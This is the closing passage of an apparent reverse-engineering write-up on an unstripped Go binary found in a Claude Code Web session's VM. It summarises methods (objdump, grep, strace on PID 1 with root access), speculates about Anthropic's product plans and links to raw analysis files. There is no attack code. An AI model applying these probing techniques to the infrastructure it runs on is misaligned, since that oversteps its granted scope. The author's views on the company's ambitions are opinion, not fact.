Targeted byte search	Error messages, status strings, flow logic
strace on PID 1	Runtime behavior, IPC patterns

What made this possible: (1) The binary was not stripped — the single biggest factor; a stripped binary would have required Ghidra. (2) Go's build metadata embedding provides a free dependency manifest. (3) Go's string concatenation model preserves struct tags and error strings. (4) Root access inside the VM allowed strace on PID 1.

---

Closing Thoughts

Shipping an unstripped binary with full debug symbols to production is... a choice. It made this analysis trivial. What would normally require Ghidra and hours of decompilation was accomplished with go tool objdump and grep.

Antspace is clearly still in an early or internal stage (the version string is prefixed with staging-), but the deployment protocol is mature and production-grade. Whether Anthropic plans to launch this as a public product or keep it as internal infrastructure for Claude's web experience remains to be seen.

What's clear is that Anthropic's ambitions extend far beyond being just an LLM and AI agent company. They're building the infrastructure for a world where applications are spoken into existence, and they want to own every layer of that stack.

---

All analysis was performed on March 18, 2026, inside a Claude Code Web session running on a Firecracker MicroVM with kernel 6.18.5, environment-runner version staging-68f0dff496.

The complete raw analysis files (wire protocol specs, snapshot architecture details, decompiled code) are available at github.com/AprilNEA/reverse-engineering-claude-code-antspace.